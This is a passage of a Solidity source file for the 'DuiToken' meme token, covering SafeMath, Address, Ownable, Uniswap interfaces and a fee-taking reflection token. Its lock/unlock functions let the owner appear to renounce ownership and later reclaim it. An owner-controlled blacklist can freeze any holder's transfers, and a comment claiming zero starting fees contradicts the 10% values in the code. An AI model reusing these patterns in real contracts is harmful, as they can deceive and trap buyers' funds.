*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract DuiToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000000000; //1,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Dui the superhero meme dog';
string private _symbol = 'DuiToken';
uint8 private _decimals = 9;
// Tax and charity fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Charity wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 10;
uint256 private _charityFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousCharityFee = _charityFee;
address payable public _charityWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 public _maxTxAmount = _tTotal; //no max tx limit rn
uint256 private _numOfTokensToExchangeForCharity = 5000000000000000;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable charityWalletAddress, address payable marketingWalletAddress) public {
_charityWalletAddress = charityWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true;
_blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce));
_isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true;
_blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345));
_isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true;
_blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b));
_isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true;
_blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95));
_isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true;
_blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964));
_isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true;
_blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848));
_isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true;
_blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881));
_isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true;
_blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679));
_isBlackListedBot[address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)] = true;
_blackListedBots.push(address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7));
_isBlackListedBot[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true;
_blackListedBots.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533));
_isBlackListedBot[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true;
_blackListedBots.push(address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d));
_isBlackListedBot[address(0x000000000000084e91743124a982076C59f10084)] = true;
_blackListedBots.push(address(0x000000000000084e91743124a982076C59f10084));
_isBlackListedBot[address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303)] = true;
_blackListedBots.push(address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303));
_isBlackListedBot[address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595)] = true;
_blackListedBots.push(address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595));
_isBlackListedBot[address(0x000000005804B22091aa9830E50459A15E7C9241)] = true;
_blackListedBots.push(address(0x000000005804B22091aa9830E50459A15E7C9241));
_isBlackListedBot[address(0xA3b0e79935815730d942A444A84d4Bd14A339553)] = true;
_blackListedBots.push(address(0xA3b0e79935815730d942A444A84d4Bd14A339553));
_isBlackListedBot[address(0xf6da21E95D74767009acCB145b96897aC3630BaD)] = true;
_blackListedBots.push(address(0xf6da21E95D74767009acCB145b96897aC3630BaD));
_isBlackListedBot[address(0x0000000000007673393729D5618DC555FD13f9aA)] = true;
_blackListedBots.push(address(0x0000000000007673393729D5618DC555FD13f9aA));
_isBlackListedBot[address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1)] = true;
_blackListedBots.push(address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1));
_isBlackListedBot[address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)] = true;
_blackListedBots.push(address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6));
_isBlackListedBot[address(0x000000917de6037d52b1F0a306eeCD208405f7cd)] = true;
_blackListedBots.push(address(0x000000917de6037d52b1F0a306eeCD208405f7cd));
_isBlackListedBot[address(0x7100e690554B1c2FD01E8648db88bE235C1E6514)] = true;
_blackListedBots.push(address(0x7100e690554B1c2FD01E8648db88bE235C1E6514));
_isBlackListedBot[address(0x72b30cDc1583224381132D379A052A6B10725415)] = true;
_blackListedBots.push(address(0x72b30cDc1583224381132D379A052A6B10725415));
_isBlackListedBot[address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE)] = true;
_blackListedBots.push(address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE));
_isBlackListedBot[address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)] = true;
_blackListedBots.push(address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F));
_isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true;
_blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b));
_isBlackListedBot[address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9)] = true;
_blackListedBots.push(address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9));
_isBlackListedBot[address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)] = true;
_blackListedBots.push(address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7));
_isBlackListedBot[address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF)] = true;
_blackListedBots.push(address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF));
_isBlackListedBot[address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290)] = true;
_blackListedBots.push(address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290));
_isBlackListedBot[address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)] = true;
_blackListedBots.push(address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5));
_isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true;
_blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b));
_isBlackListedBot[address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7)] = true;
_blackListedBots.push(address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7));
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _charityFee == 0) return;
_previousTaxFee = _taxFee;
_previousCharityFee = _charityFee;
_taxFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_charityFee = _previousCharityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular charity event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the charity wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToCharity(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and charity fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToCharity(uint256 amount) private {
_charityWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToCharity(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rCharity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tCharity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
